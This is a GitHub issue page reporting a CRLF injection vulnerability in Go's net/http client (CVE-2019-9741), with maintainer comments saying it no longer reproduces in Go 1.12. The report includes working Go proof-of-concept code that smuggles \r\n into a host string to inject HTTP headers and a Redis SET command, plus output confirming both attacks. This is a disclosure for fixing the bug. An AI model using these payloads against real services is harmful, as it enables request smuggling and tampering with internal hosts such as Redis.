-
Notifications
You must be signed in to change notification settings - Fork 17.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
net/http: CRLF injection vulnerability #30794
Comments
@GRagdoll - Could you try with 1.12 and see if this is still an issue ? |
Yes. It can not reproduce on Go1.12. |
This was assigned CVE-2019-9741 |
Any updates on this, besides the lack of reproducibility on Go v1.12? |
@raleighlittles this issue was closed over a year ago, thus is has not received any updates. I suggest you open a new issue if you can reproduce the problem using go 1.14 |
i cant reproduce it in Go-http-client/1.1 ! |
What version of Go are you using (
go version
)?Does this issue reproduce with the latest release?
yes
What operating system and processor architecture are you using (
go env
)?go env
OutputPrinciples
The current implementation of net.http does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header.
What did you do?
Consider the following Golong code snippet:
package main
import (
"fmt"
"net/http"
)
func main() {
client := &http.Client{}
host := "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url := "http://" + host + ":8080/test/?test=a"
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Printf("request error\n")
}
resp, err := client.Do(request)
if err != nil {
fmt.Printf("response error\n")
}
resp.Body.Close()
}
In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.
nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: 10.251.0.83:7777
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample.
Attack Scenarios
Let’s take Redis as a example here:
Adapt the script above to this:
package main
import (
"fmt"
"net/http"
)
func main() {
client := &http.Client{}
host := "10.251.0.83:6379?\r\nSET test success\r\n"
url := "http://" + host + ":8080/test/?test=a"
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Printf("request error\n")
}
resp, err := client.Do(request)
if err != nil {
fmt.Printf("response error\n")
}
resp.Body.Close()
}
We changed the injected header to a valid redis command, after executing this, we check the redis server:
127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>
We can see that a “test” key was inserted successfully.
Conclusion
The implementation of parameter handling of net.http is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.
The text was updated successfully, but these errors were encountered: